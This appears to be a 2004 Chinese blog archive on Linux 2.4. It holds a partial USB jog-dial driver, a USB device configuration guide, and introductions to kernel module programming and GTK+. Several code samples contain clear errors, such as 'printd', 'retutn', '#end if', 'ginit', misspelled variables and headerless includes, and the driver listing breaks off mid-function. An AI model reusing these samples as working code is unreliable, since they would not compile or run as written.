找到相应的信息后就可开始工作了。实际上,飞梭的定义和键盘键码通常是一样的,所以我们参照drivers/usb/usbkbd..c代码进行一些改动就可以了。因为没能拿到相应的硬件USB协议,我无从知道飞梭在按下时通讯协议众到底发什么,我只能把它的信息打出来进行分析。幸好,它比较简单,在下面代码的usb_kbd_irq函数中if(kbd->new[0] == (char)0×01)和if(((kbd->new[1]>>4)&0×0f)!=0×7)就是判断飞梭左旋。usb_kbd_irq函数就是键盘中断响应函数。他的挂接,就是在usb_kbd_probe函数中

 FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); 

一句中实现。

从usb骨架中我们知道,usb_kbd_probe函数就是在USB设备被系统发现是运行的。其他部分就都不是关键了。你可以根据具体的探测值(Vendor=07e4 ProdID=9473等)进行一些修改就可以了。值得一提的是,在键盘中断中,我们的做法是收到USB飞梭消息后,把它模拟成左方向键和右方向键,在这里,就看你想怎么去响应它了。当然你也可以响应模拟成F14、F15等扩展键码。

在了解了此基本的驱动后,对于一个你已经拿到通讯协议的键盘所带手写板,你就应该能进行相应驱动的开发了吧。

程序见附录1:键盘飞梭驱动。

使用此驱动要注意的问题:在加载此驱动时你必须先把hid设备卸载,加载完usbhkey.o模块后再加载hid.o。因为若hid存在,它的probe会屏蔽系统去利用我们的驱动发现我们的设备。其实,飞梭本来就是一个hid设备,正确的方法,或许你应该修改hid的probe函数,然后把我们的驱动融入其中。

参考资料

  1. 《LINUX设备驱动程序》
    ALESSANDRO RUBINI著
    LISOLEG 译
  2. 《Linux系统分析与高级编程技术》
    周巍松 编著
  3. Linux Kernel-2.4.20源码和文档说明

附录1:键盘飞梭驱动

 #include <linux/kernel.h> #include <linux/slab.h> #include <linux/module.h> #include <linux/input.h> #include <linux/init.h> #include <linux/usb.h> #include <linux/kbd_ll.h> /* * Version Information */ #define DRIVER_VERSION "" #define DRIVER_AUTHOR "TGE HOTKEY " #define DRIVER_DESC "USB HID Tge hotkey driver" #define USB_HOTKEY_VENDOR_ID 0x07e4 #define USB_HOTKEY_PRODUCT_ID 0x9473 //厂商和产品ID信息就是/proc/bus/usb/devices中看到的值 MODULE_AUTHOR( DRIVER_AUTHOR ); MODULE_DESCRIPTION( DRIVER_DESC ); struct usb_kbd { struct input_dev dev; struct usb_device *usbdev; unsigned char new[8]; unsigned char old[8]; struct urb irq, led; // devrequest dr; //这一行和下一行的区别在于kernel2.4.20版本对usb_kbd键盘结构定义发生了变化 struct usb_ctrlrequest dr; unsigned char leds, newleds; char name[128]; int open; }; //此结构来自内核中drivers/usb/usbkbd..c static void usb_kbd_irq(struct urb *urb) { struct usb_kbd *kbd = urb->context; int *new; new = (int *) kbd->new; if(kbd->new[0] == (char)0x01) { if(((kbd->new[1]>>4)&0x0f)!=0x7) { handle_scancode(0xe0,1); handle_scancode(0x4b,1); handle_scancode(0xe0,0); handle_scancode(0x4b,0); } else { handle_scancode(0xe0,1); handle_scancode(0x4d,1); handle_scancode(0xe0,0); handle_scancode(0x4d,0); } } printk("new=%x %x %x %x %x %x %x %x", kbd->new[0],kbd->new[1],kbd->new[2],kbd->new[3], kbd->new[4],kbd->new[5],kbd->new[6],kbd->new[7]); } static void *usb_kbd_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) { struct usb_interface *iface; struct usb_interface_descriptor *interface; struct usb_endpoint_descriptor *endpoint; struct usb_kbd *kbd; int pipe, maxp; iface = &dev->actconfig->interface[ifnum]; interface = &iface->altsetting[iface->act_altsetting]; if ((dev->descriptor.idVendor != USB_HOTKEY_VENDOR_ID) || (dev->descriptor.idProduct != USB_HOTKEY_PRODUCT_ID) || (ifnum != 1)) { return NULL; } if (dev->actconfig->bNumInterfaces != 2) { return NULL; } if (interface->bNumEndpoints != 1) return NULL; endpoint = interface->endpoint + 0; pipe = usb_rcvintpipe(dev, endpoint->bEndpointAddress); maxp = usb_maxpacket(dev, pipe, usb_pipeout(pipe)); usb_set_protocol(dev, interface->bInterfaceNumber, 0); usb_set_idle(dev, interface->bInterfaceNumber, 0, 0); printk(KERN_INFO "GUO: Vid = %.4x, Pid = %.4x, Device = %.2x, ifnum = %.2x, bufCount = %.8x\\n", dev->descriptor.idVendor,dev->descriptor.idProduct,dev->descriptor.bcdDevice, ifnum, maxp); if (!(kbd = kmalloc(sizeof(struct usb_kbd), GFP_KERNEL))) return NULL; memset(kbd, 0, sizeof(struct usb_kbd)); kbd->usbdev = dev; FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); kbd->irq.dev = kbd->usbdev; if (dev->descriptor.iManufacturer) usb_string(dev, dev->descriptor.iManufacturer, kbd->name, 63); if (usb_submit_urb(&kbd->irq)) { kfree(kbd); return NULL; } printk(KERN_INFO "input%d: %s on usb%d:%d.%d\\n", kbd->dev.number, kbd->name, dev->bus->busnum, dev->devnum, ifnum); return kbd; } static void usb_kbd_disconnect(struct usb_device *dev, void *ptr) %7

USB设备越来越多,而Linux在硬件配置上仍然没有做到完全即插即用,对于Linux怎样配置和使用他们,也越来越成为困扰我们的一大问题。本文分两部分着力从Linux系统下设备驱动的架构,去阐述怎样去使用和配置以及怎样编制USB设备驱动。对于一般用户,可以使我们明晰Linux设备驱动方式,为更好地配置和使用USB设备提供了方便;而对于希望开发Linux系统下USB设备驱动的程序员,提供了初步学习USB驱动架构的机会。

前言

USB是英文”Universal Serial Bus”的缩写,意为”通用串行总线”。是由Compaq(康柏)、DEC、IBM、Intel、NEC、微软以及Northern Telecom(北方电讯)等公司于1994年11月共同提出的,主要目的就是为了解决接口标准太多的弊端。USB使用一个4针插头作为标准插头,并通过这个标准接头,采用菊花瓣形式把所有外设连接起来,它采用串行方式传输数据,目前最大数据传输率为12Mbps, 支持多数据流和多个设备并行操作,允许外设热插拔。

目前USB接口虽然只发展了2代(USB1.0/1.1,USB2.0),但是USB综合了一个多平台标准的所有优点 — 包括降低成本,增加兼容性,可连接大量的外部设备,融合先进的功能和品质。使其逐步成为PC接口标准,进入了高速发展期。

那么对于使用Linux系统,正确支持和配置常见的USB设备,就是其使用必不可少的关键一步。

相关技术基础

模块(驱动程序)

模块(module)是在内核空间运行的程序,实际上是一种目标对象文件,没有链接,不能独立运行,但是可以装载到系统中作为内核的一部分运行,从而可以动态扩充内核的功能。模块最主要的用处就是用来实现设备驱动程序。

Linux下对于一个硬件的驱动,可以有两种方式:直接加载到内核代码中,启动内核时就会驱动此硬件设备。另一种就是以模块方式,编译生成一个.o文件。当应用程序需要时再加载进内核空间运行。所以我们所说的一个硬件的驱动程序,通常指的就是一个驱动模块。

设备文件

对于一个设备,它可以在/dev下面存在一个对应的逻辑设备节点,这个节点以文件的形式存在,但它不是普通意义上的文件,它是设备文件,更确切的说,它是设备节点。这个节点是通过mknod命令建立的,其中指定了主设备号和次设备号。主设备号表明了某一类设备,一般对应着确定的驱动程序;次设备号一般是区分不同属性,例如不同的使用方法,不同的位置,不同的操作。这个设备号是从/proc/devices文件中获得的,所以一般是先有驱动程序在内核中,才有设备节点在目录中。这个设备号(特指主设备号)的主要作用,就是声明设备所使用的驱动程序。驱动程序和设备号是一一对应的,当你打开一个设备文件时,操作系统就已经知道这个设备所对应的驱动程序。

SCSI 设备

SCSI是有别于IDE的一个计算机标准接口。现在大部分平板式扫描仪、CD-R刻录机、MO光磁盘机等渐渐趋向使用SCSI接口,加之SCSI又能提供一个高速传送通道,所以,接触到SCSI设备的用户会越来越多。Linux支持很多种的SCSI设备,例如:SCSI硬盘、SCSI光驱、SCSI磁带机。更重要的是,Linux提供了IDE设备对SCSI的模拟(ide-scsi.o模块),我们通常会就把IDE光驱模拟为SCSI光驱进行访问。因为在Linux中很多软件都只能操作SCSI光驱。例如大多数刻录软件、一些媒体播放软件。通常我们的USB存储设备,也模拟为SCSI硬盘而进行访问。

Linux硬件驱动架构

对于一个硬件,Linux是这样来进行驱动的:首先,我们必须提供一个.o的驱动模块文件(这里我们只说明模块方式,其实内核方式是类似的)。我们要使用这个驱动程序,首先要加载运行它(insmod *.o)。这样驱动就会根据自己的类型(字符设备类型或块设备类型,例如鼠标就是字符设备而硬盘就是块设备)向系统注册,注册成功系统会反馈一个主设备号,这个主设备号就是系统对它的唯一标识(例如硬盘块设备在/proc/devices中显示的主设备号为3 ,我们用ls -l /dev/had看到的主设备就肯定是3)。驱动就是根据此主设备号来创建一个一般放置在/dev目录下的设备文件(mknod命令用来创建它,它必须用主设备号这个参数)。在我们要访问此硬件时,就可以对设备文件通过open、read、write等命令进行。而驱动就会接收到相应的read、write操作而根据自己的模块中的相应函数进行了。

其中还有几个比较有关系的东西:一个是/lib/modules/2.4.XX目录,它下面就是针对当前内核版本的模块。只要你的模块依赖关系正确(可以通过depmod设置),你就可以通过modprobe 命令加载而不需要知道具体模块文件位置。 另一个是/etc/modules.conf文件,它定义了一些常用设备的别名。系统就可以在需要此设备支持时,正确寻找驱动模块。例如alias eth0 e100,就代表第一块网卡的驱动模块为e100.o。他们的关系图如下:

配置USB设备

内核中配置.

要启用 Linux USB 支持,首先进入”USB support”节并启用”Support for USB”选项(对应模块为usbcore.o)。尽管这个步骤相当直观明了,但接下来的 Linux USB 设置步骤则会让人感到糊涂。特别地,现在需要选择用于系统的正确 USB 主控制器驱动程序。选项是”EHCI” (对应模块为ehci-hcd.o)、”UHCI” (对应模块为usb-uhci.o)、”UHCI (alternate driver)”和”OHCI” (对应模块为usb-ohci.o)。这是许多人对 Linux 的 USB 开始感到困惑的地方。

要理解”EHCI”及其同类是什么,首先要知道每块支持插入 USB 设备的主板或 PCI 卡都需要有 USB 主控制器芯片组。这个特别的芯片组与插入系统的 USB 设备进行相互操作,并负责处理允许 USB 设备与系统其它部分通信所必需的所有低层次细节。

Linux USB 驱动程序有三种不同的 USB 主控制器选项是因为在主板和 PCI 卡上有三种不同类型的 USB 芯片。”EHCI”驱动程序设计成为实现新的高速 USB 2.0 协议的芯片提供支持。”OHCI”驱动程序用来为非 PC 系统上的(以及带有 SiS 和 ALi 芯片组的 PC 主板上的)USB 芯片提供支持。”UHCI”驱动程序用来为大多数其它 PC 主板(包括 Intel 和 Via)上的 USB 实现提供支持。只需选择与希望启用的 USB 支持的类型对应的”?HCI”驱动程序即可。如有疑惑,为保险起见,可以启用”EHCI”、”UHCI” (两者中任选一种,它们之间没有明显的区别)和”OHCI”。(赵明注:根据文档,EHCI已经包含了UHCI和OHCI,但目前就我个人的测试,单独加EHCI是不行的,通常我的做法是根据主板类型加载UHCI或OHCI后,再加载EHCI这样才可以支持USB2.0设备)。

启用了”USB support”和适当的”?HCI”USB 主控制器驱动程序后,使 USB 启动并运行只需再进行几个步骤。应该启用”Preliminary USB device filesystem”,然后确保启用所有特定于将与 Linux 一起使用的实际 USB 外围设备的驱动程序。例如,为了启用对 USB 游戏控制器的支持,我启用了”USB Human Interface Device (full HID) support”。我还启用了主”Input core support” 节下的”Input core support”和”Joystick support”。

一旦用新的已启用 USB 的内核重新引导后,若/proc/bus/usb下没有相应USB设备信息,应输入以下命令将 USB 设备文件系统手动挂装到 /proc/bus/usb:

 # mount -t usbdevfs none /proc/bus/usb 

为了在系统引导时自动挂装 USB 设备文件系统,请将下面一行添加到 /etc/fstab 中的 /proc 挂装行之后:

 none /proc/bus/usb usbdevfs defaults 0 0 

模块的配置方法.

在很多时候,我们的USB设备驱动并不包含在内核中。其实我们只要根据它所需要使用的模块,逐一加载。就可以使它启作用。

首先要确保在内核编译时以模块方式选择了相应支持。这样我们就应该可以在/lib/modules/2.4.XX目录看到相应.o文件。在加载模块时,我们只需要运行modprobe xxx.o就可以了(modprobe主要加载系统已经通过depmod登记过的模块,insmod一般是针对具体.o文件进行加载)

对应USB设备下面一些模块是关键的。

usbcore.o 要支持usb所需要的最基础模块
usb-uhci.o (已经提过)
usb-ohci.o (已经提过)
uhci.o 另一个uhci驱动程序,我也不知道有什么用,一般不要加载,会死机的
ehci-hcd.o (已经提过 usb2.0)
hid.o USB人机界面设备,像鼠标呀、键盘呀都需要
usb-storage.o USB存储设备,U盘等用到

相关模块

ide-disk.o IDE硬盘
ide-scsi.o 把IDE设备模拟SCSI接口
scsi_mod.o SCSI支持

注意kernel config其中一项:

 Probe all LUNs on each SCSI device 

最好选上,要不某些同时支持多个口的读卡器只能显示一个。若模块方式就要带参数安装或提前在/etc/modules.conf中加入以下项,来支持多个LUN。

 add options scsi_mod max_scsi_luns=9 

sd_mod.o SCSI硬盘
sr_mod.o SCSI光盘
sg.o SCSI通用支持(在某些探测U盘、SCSI探测中会用到)

常见USB设备及其配置

在Linux 2.4的内核中已经支持不下20种设备。它支持几乎所有的通用设备如键盘、鼠标、modem、打印机等,并不断地添加厂商新的设备象数码相机、MP3、网卡等。下面就是几个最常见设备的介绍和使用方法:

USB鼠标:

键盘和鼠标属于低速的输入设备,对于已经为用户认可的PS/2接口,USB键盘和USB鼠标似乎并没有太多更优越的地方。现在的大部分鼠标采用了PS/2接口,不过USB接口的鼠标也越来越多,两者相比,各有优势:一般来说,USB的鼠标接口的带宽大于PS/2鼠标,也就是说在同样的时间内,USB鼠标扫描次数就要多于PS/2鼠标,这样在定位上USB鼠标就更为精确;同时USB接口鼠标的默认采样率也比较高,达到125HZ,而PS/2接口的鼠标仅有40HZ(Windows 9x/Me)或是60HZ(Windows NT/2000)。

对于USB设备你当然必须先插入相应的USB控制器模块:usb-uhci.o或usb-ohci.o

 modprobe usb-uhci 

USB鼠标为了使其正常工作,您必须先插入模块usbmouse.o和mousedev.o

 modprobe usbmouse modprobe mousedev 

若你把HID input layer支持和input core 支持也作为模块方式安装,那么启动hid模块和input模块也是必要的。

 modprobe hid modprobe input 

USB键盘:

一般的,我们现在使用的键盘大多是PS/2的,USB键盘还比较少见,但是下来的发展,键盘将向USB接口靠拢。使用USB键盘基本上没有太多的要求,只需在主板的BIOS设定对USB键盘的支持,就可以在各系统中完全无障碍的使用,而且更可以真正做到在即插即用和热插拔使用,并能提供两个USB连接埠:让您可以轻易地直接将具有USB接头的装置接在您的键盘上,而非计算机的后面。

同样你当然必须先插入相应的USB控制器模块:usb-uhci.o或usb-ohci.o

 modprobe usb-uhci 

然后您还必须插入键盘模块usbkbd.o,以及keybdev.o,这样usb键盘才能够正常工作。此时,运行的系统命令:

 modprobe usbkbd modprobe keybdev 

同样若你把HID input layer支持和input core 支持也作为模块方式安装,那么启动hid模块和input模块也是必要的。

U盘和USB读卡器:

数码存储设备现在对我们来说已经是相当普遍的了。CF卡、SD卡、Memory Stick等存储卡已经遍及我们的身边,通常,他们的读卡器都是USB接口的。另外,很多MP3、数码相机也都是USB接口和计算机进行数据传递。更我们的U盘、USB硬盘,作为移动存储设备,已经成为我们的必须装备。

在Linux下这些设备通常都是以一种叫做usb-storage的方式进行驱动。要使用他们必须加载此模块

 modprobe usb-storage 

当然,usbcore.o 和usb-uhci.o或usb-ohci也肯定是不可缺少的。另外,若你系统中SCSI支持也是模块方式,那么下面的模块也要加载

 modprobe scsi_mod modprobe sd_mod 

在加载完这些模块后,我们插入U盘或存储卡,就会发现系统中多了一个SCSI硬盘,通过正确地mount它,就可以使用了(SCSI硬盘一般为/dev/sd?,可参照文章后面的常见问题解答)。

 mount /dev/sda1 /mnt 

Linux支持的其他USB设备。

MODEM–(比较常见)
网络设备
摄像头–(比较常见)例如ov511.o
联机线–可以让你的两台电脑用USB线实现网络功能。usbnet.o
显示器–(我没见过)
游戏杆
电视盒–(比较常见)
手写板–(比较常见)
扫描仪–(比较常见)
刻录机–(比较常见)
打印机–(比较常见)

注意:上面所说的每个驱动模块,并不是都要手动加载,有很多系统会在启动或你的应用需要时自动加载的,写明这些模块,是便于你在不能够使用USB设备时,可以自行检查。只要用lsmod确保以上模块已经被系统加载,你的设备就应该可以正常工作了。当然注意有些模块已经以内核方式在kernel启动时存在了(这些模块文件在/lib/modules/2.4.XX中是找不到的)。

最常遇见的USB问题

  1. 有USB设备的系统安装完redhat 7.3启动死机问题

    有USB设备,当你刚装完redhat 7.3第一次启动时,总会死掉。主要原因是Linux在安装时探测到有usb-uhci和ehci-hcd两个控制器,但在启动时,加载完usb-uhci再加载ehci-hcd就会有冲突。分析认为redhat7.3系统内核在支持USB2.0标准上存在问题。在其他版本的Linux中均不存在此问题。

    解决办法:在lilo或grub启动时用命令行传递参数init=/sbin/init。这样在启动后就不运行其他服务而直接启动shell。然后运行
    mount -o remount,rw / 使/ 可写,init直接启动的系统默认只mount /为只读
    然后vi /etc/modules.config文件
    删除alias usb-controller1 ehci-hcd一行。或前面加#注释掉
    然后mount -o remount,ro / 使/ 只读,避免直接关机破坏文件系统
    然后就可以按Ctrl-Alt-Delete直接重启了
    或许,你有更简单的办法:换USB键盘和鼠标为PS2接口,启动后修改/etc/modules.config文件。

  2. 我们已经知道U盘在Linux中会模拟为SCSI设备去访问,可怎么知道它对应那个SCSI设备呢?

    方法1:推测。通常你第一次插入一个SCSI设备,它就是sda,第二个就是sdb以此类推。你启动Linux插入一个U盘,就试试sda,换了一个就可能是sdb。这里注意两个特例:1) 你用的是联想U盘,它可能存在两个设备区(一个用于加密或启动电脑),这样就可能一次用掉两个sda、sdb,换个U盘就是sdc、sdd。2) 联想数码电脑中,可能已经有了六合一读卡器。它同样也是USB存储设备。它会占掉一个或两个SCSI设备号。

    方法2:看信息。其实,只要你提前把usb-storage.o、scsi_mod.o、sd_mod.o模块加载(直接在kernel中也可以)了,在你插入和拔出U盘时,系统会自动打出信息如下:

     SCSI device sda: 60928 512-byte hdwr sectors ( 31 MB ) sda: Write Protect is on 

    根据此信息,你就知道它在sda上了。当然,可能你的系统信息级别比较高,上述信息可能没有打出,这时候你只要tail /var/log/messages就可以看到了。

    方法3:同样,cat /proc/partitions也可以看到分区信息,其中sd?就是U盘所对应的了。若根本没有sd设备,就要检查你的SCSI模块和usb-storage模块是否正确加载了。

  3. 在使用U盘或存储卡时,我该mount /dev/sda还是/dev/sda1呢?

    这是一个历史遗留问题。存储卡最初尺寸很小,很多厂商在使用时,就直接使用存储,不含有分区表信息。而随着存储卡尺寸的不断扩大,它也就引入了类似硬盘分区的概念。例如/dev/hda你可以分成主分区hda1、hda2扩展分区hda3,然后把扩展分区hda3又分为逻辑分区hda5、hda6、hda7等。这样,通常的U盘就被分成一个分区sda1,类似把硬盘整个分区分成一个主分区hda1。实际上,我们完全可以通过fdisk /dev/sda对存储卡进行完全类似硬盘的分区方式分成sda1、sda2甚至逻辑分区sda5、sda6。实际上,对USB硬盘目前你的确需要这样,因为它通常都是多少G的容量。而且通常,它里面就是笔记本硬盘。

    一个好玩的问题。你在Linux下用fdisk /dev/sda 对U盘进行了多分区,这时候到windows下,你会发现怎么找,怎么格式化,U盘都只能找到第一个分区大小尺寸,而且使用看不出任何问题。这主要是windows驱动对U盘都只支持一个分区的缘故。你是不是可以利用它来进行一些文件的隐藏和保护?你是不是可以和某些人没玩过Linux的人开些玩笑:你的U盘容量变小了J。

    现在较多的数码设备也和windows一样,是把所有U盘容量分为一个,所以在对待U盘的时候,通常你mount的是sda1。但对于某些特殊的数码设备格式化的U盘或存储卡(目前我发现的是一款联想的支持模拟USB软盘的U盘和我的一个数码相机),你就要mount /dev/sda。因为它根本就没分区表(若mount /dev/sda1通常的效果是死掉)。其实,这些信息,只要你注意了/proc/partitions文件,都应该注意到的。

  4. 每次插入U盘,都要寻找对应设备文件名,都要手动mount,我能不能做到象windows那样插入就可以使用呢。

    当然可以,不过你需要做一些工作。我这里只提供一些信息帮助你去尝试完成设置:Linux内核提供了一种叫hotplug支持的东西,它可以让你系统在PCI设备、USB等设备插拔时做一些事情。而automount 功能可以使你的软驱、光盘等设备的分区自动挂载和自动卸载。你甚至可以在KDE桌面中创建相应的图标,方便你操作。具体设置方法就要你自己去尝试了。反正我使用Linux已经麻木了,不就是敲一行命令嘛。

参考资料

  1. 《LINUX设备驱动程序》
    ALESSANDRO RUBINI著
    LISOLEG 译
  2. 《Linux系统分析与高级编程技术》
    周巍松 编著
  3. Linux Kernel-2.4.20源码和文档说明
2004年08月15日

      Linux内核是一个整体是结构,因此向内核添加任何东西,或者删除某些功能,都十分困难。为了解决这个问题引入了内核机制。从而可以动态的想内核中添加或者删除模块。

   模块不被编译在内核中,因而控制了内核的大小.然而模块一旦被插入内核,他就和内核其他部分一样.这样一来就会曾家一部分系统开销。同时,如果模块出现问题,也许会带来系统的崩溃。   模块的实现机制:   启动时,由函数 void inti_modules() 来初始化模块,因为启动事很多时候没有模块.这个函数往往把内核自身当作一个虚模块。

   如由系统需要,则调用一系列以sys 开头的函数,对模块进行操作. 如:   sys_creat_modules(),sys_inti_modules() ,   sys_deldte_modules()等等.   这里会用到一些模块的数据就结构,在/usr/scr/Linux/include/Linux/module.h 中,有兴趣的朋友可以找出来一看块的加入有两种方法:一是手动加入:如:insmod modulename.另一种是根据需要,动态的加载模块:如你执行命令:   $mount -t msdos /dev/hdd /mnt/d 时.系统便自动加载 FAT模块,以支持MSDOS的文件系统。

   1.模块编程   写一个模块,必须有一定的多进程编程基础,因为你变得程序不是以一个独立的程序的来运行的。另外,因为,模块需要在内核模式下运行,会遇到在内和空间和用户空间数据交换的问题.一般的数据复制函数无法完成这一个过程。因此系统已入了一些特殊的函数以用来完成内核空间和用户空间数据的交换/   这些函数有:void put _user (type valude,type *u_addr)   memcpy_tofs()   等等,有兴趣的朋友可以仔细的看看所有的函数,以及他们的用法.需要说明的是.模块编程河内核的版本有很大的关系。如果版本不通可能造成,内核模块不能编译,或者.在运行这个模块时,出现不可测结果。如:系统崩溃等。

   明白了这些以后,你就可以尝试着编写内核模块了。对于每一个内核模块来说,必定包含两个函数int init_module() 这个函数在插入内核时启动,在内核中注册一定的功能函数,或者用他的代码代替内和中某些函数的内容(估计这些函数是空的)。因此,内和可以安全的卸载。

   int cleanup_module() 当内核模块谢载时,调用.将模块从内核中清除.

  同其他的程序设计教程一样 ,我们给出一个hello world 的例子 /*hello.c a module programm*/ /* the program runing under kernel mod and it is a module*/ #include” Linux/kernerl.h” #include”lLinux/module.h” /* pross the CONFIG_MODVERSIONS*/ #if CONFIG_MODVERSIONS==1 #define MODVERSIONS #include”"Linux/modversions.h” #end if /* the init function*/ int init_module() { printk(” hello world !\n’); printd(” I have runing in a kerner mod@!!\n”); return 1; } /* the distory function*/ int cleanup_module() { printk(” I will shut down myself in kernerl mod /n)”; retutn 0; }   这样一个例子就完成了.我们也写一个makefile 的例子,以适于我们在大程序重的应用。一下是makfile 文件的内容 。 # a makefile for a module CC=gcc MODCFLAGS:= -Wall _DMODULE -D_KERNEL_ -DLinux hello.o hello.c /usr/inculde?Linux/version.h CC $(MODCFLAGS) 0c hello.c echo the module is complie completely   然后你运行make 命令 得到hello.o 这个模块,运行 $insmod hello.o hello world! I will shut down myself in kernerl mod $lsmod hello (unused) …. $remmod I will shut down myself in kernerl mod   这样你的模块就可以随意的插入和删除了。

   Linux中的大部分驱动程序,是以模块的形式编写的,这些驱动程序源码可以修改到内核中,也可以把他们编译成模块形势,在需要的时候动态加载。   一个典型的驱动程序,大体上可以分为这么几个部分:   

1.注册设备   在系统初启,或者模块加载时候,必须将设备登记到相应的设备数组,并返回设备的主驱动号,例如:对快设备来说调用 refister_blkdec()将设备添加到数组blkdev中,并且获得该设备号,并利用这些设备号对此数组进行索引。对于字符驱动设备来说,要使用 module_register_chrdev()来获得祝设备的驱动号,然后对这个设备的所有调用都用这个设备号来实现。

   2.定义功能函数   对于每一个驱动函数来说,都有一些和此设备密切相关的功能函数,那最常用的块设备或者字符设备来说,都存在着诸如 open() read() write() ioctrol()这一类的操作。当系统社用这些调用时,将自动的使用驱动函数中特定的模块,来实现具体的操作。而对于特定的设备,上面的系统调用对应的函数是一定的。   如:在块驱动设备中.当系统试图读取这个设备(即调用read()时),就会运行驱动程序中的block_read() 这个函数。   打开新设备时会调用这个设备驱动程序的device_open() 这个函数.

  3.谢载模块   在不用这个设备时,可以将他卸载,主要是从/proc 中取消这个设备的特殊文件,可用特定的函数实现。   下面我们列举一个字符设备驱动程序的框架.来说明这个过程. /* a module of a character device */ /* some include files*/ #include”param.h” #include”user.h” #include”tty.h” #include”dir.h” #include”fs.h” /* the include files modules need*/ #include”Linux/kernel.h” #include”Linux/module.h” #if CONFIG_MODBERSIONS==1 degine MODBERSIONS #include” Linux.modversions.h” #endif #difine devicename mydevice /* the init funcion*/ int init_module() { int tag=module_register_chrdev(0,mydevice,&Fops); if (tag<0) { printk(“the device init is erro!\n”); return 1; } return 0; } /*the funcion which the device will be used */ int device_open () { ……. } int device_read () { ……. } int device_write () { ……. } int device_ioctl () { ……. } …… /* the deltter function of this module*/ int cleanup_module() { int re=module_unregister_chrdev(tag,mydevice); if( re<0) { printk(“erro unregister the module !!\n”); return 1; } return 0; }

2004年08月10日

GTK+编程入门

作者 xinhe

 一、什么是GTK+ GTK+(GIMP ToolKit),即GIMP工具箱,最初是用来向GNU图像处理程序(即GIMP)的开发者提供用户界面功能,简单的说,GTK+就是用于图形界面开发的API库,是由最初简单的GTK扩展而来的。 与其他GUI环境下开发的API相比,GTK+的确是与众不同的,甚至在有些方面是令人惊喜的,一方面,GTK+是作为用于Linux他UNIX平台的其他GUI API的一个免费的和简单的替代品,而另一方面,GTK+是在有了数年的使用和开发经验之后开发的。 总之,在Linux/UNIX平台下开发图形界面,GTK+将是一个不错的选择。

二、一个简单的GTK+程序的例子 GTK+对开发环境的要求很简单,程序的编写可以使用任何编辑器,编译一般选用GCC,不过记得在安装时要把GTK+的API库装上去。(呵呵,是不是觉得比装VC,或.net之类的东西要简单多了?),编程的语言还是采用我们熟悉的C。 下面给出一个最简单的GTK+程序,它的作用就是在桌面上创建一个窗体。我们通过这个程序来了解GTK+的一些基础知识。

 /*****************************************************

* basicgtk.c * create by xinhe

*****************************************************/

#include gint main(gint argc,gchar **argv)

{

GtkWidget *TheWindow; //定义一个GtkWidget的数据结构 gtk_init(&argc,&argv);//对gtk+进行初始化 TheWindow=gtk_window_new(GTK_WINDOW_TOPLEVEL);//创建一个新的窗体 gtk_main();//这里是进入gtk的循环 return(0); } 然后编译此程序 gcc -Wall -o basicgtk basicgtk.c `gtk-config –cflags –libs` 编译通过后运行此程序,会在桌面上看到一个窗体。 下面来解释一下这段小程序

1、关于数据类型 这个程序中出现了gint,gchar等数据类型,这些都是GLIB的数据类型,GLIB有点像windows下C的STL,GLIB的数据类型的表示和C的差不多,基本上是在前面加一个g的前缀,但GLIB对数据类型的处理(主要指内存管理方面)比C要优化一些。如果这方面还有什么问题请参考GLIB的说明。

2、关于GtkWidget GtkWidget从本质上说它只一个数据结构,在这里,我们可以把它理解为一个对象,这里好像用到了面向对象的概念,不错同GTK+就是基于面象对面的恩想设计的,你可能会问,GTK+程序不是用C语言写的吗?注意,这里只是用到了面向对象的思想和面向对象的编程方法,并不是面向对象语言,C++语言的发明人Bjarne Stroustrup曾经说过,面向对像的程序设计是编写程序代码的一种方法。而向对像的程序设计语言是在语言内部明确的提供帮助。 因此,这里的GtkWidget可以说一个对象。

3、初始化GTK+ 在调用GTK+的函数之前,必须先初始化GTK+。gtk_init()就是对GTK+进行初始化,它主要处理命令行的参数。

4、创建并显示窗体 函数gtk_window_new()的作用就是创建一个窗体,而该函数的参数是说明所要创建窗体的类型,它可以是以下三种中的一种: GTK_WINDOW_TOPLEVEL、GTK_WINDOW_DIALOG、GTK_WINDOW_POPUP 5、gtk_main循环 gtk_main函数的作用就是进入GTK+循环,即程序不停的运行,直到程序的的另一个部分调用了gtk_main_quit或程序崩溃为止,这有点像win32程序的消息循环。

 三、信号与事件 这里将引入GTK+信号和事件的概念,信号和事件的概念十分相近,初学者比较难区别,简单的说,当用户点击一个按纽或是移动鼠标,就称该用户触发了一个事件,而X本身能够抓住的一些事情,如窗口删除、点击按纽,这些就称为信号。(的确很难区别,不过在程序里使用信号和事件的方法却没有区别) 对信号和事件的处理首先要连接信号,这里将使用到连接函数gtk_signal_connect, 这里给出一个例子

//—————————————-

TheWindow=gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_signal_connect(GTK_OBJECT(TheWindow),”destroy”,GTK_SIGNAL_FUNC(StopTheApp),NULL); gtk_widget_show(TheWindow);

//———————————————–

gtk_signal_connect函数有四个参数,第一个是GTK+对象,GTK_OBJECT宏起到转化作用,第二个是要捕捉的信号名,第三个是信号处理程序名,GTK_SIGNAL_FUNC宏是将函数的指针转换成一个更便于GTK+内部使用的信号函数指针。最后一个参数是要传递给信号处理函数的数据指针,没有就是NULL。 接下来就要编写信号处理函数

void StopTheApp(GtkObject * TheWindow,gpointer data)

{ gtk_main_quit(); }

下面再写一个程序来理解信号和事件

/********************************

* events.c

* ***********************************/

#include //信处理函数

 void StopTheApp(GtkWinget *TheWindow,gpointer data)

 { gtk_main_quit(); }

 //事件处理函数

 gboolean EventHandler(GtkWidget *TheWindow,GdkEvent *event,gpointer data)

 { switch(event->type)

 {

case GDK_EXPOSE: g_print(“the window contents were redrawn\n”);

break;

case GDK_LEAVE_NOTIFY: g_print(“the mouse left the window\n”);

break;

case GDK_DELETE: g_print(“the window was killed”);

 break;

default: break;

}

return FALSE;

}

ginit main(gint argc,gchar **argv)

 {

GtkWidget TheWidow; gtk_init(&argc,&argv);

TheWindow=gtk_window_new(GTK_WINDOW_TOPLEVEL);

 gtk_signal_connect(GTK_OBJECT(TheWidow),”event”,GTK_SIGNAL_FUNC(EventHandler),NULL); gtk_signal_connect(GTK_OBJECT(TheWidow),”destroy”,GTK_SIGNAL_FUNC(StopTheApp),NULL); gtk_widget_show(TheWindow);

gtk_main(); return 0;

}

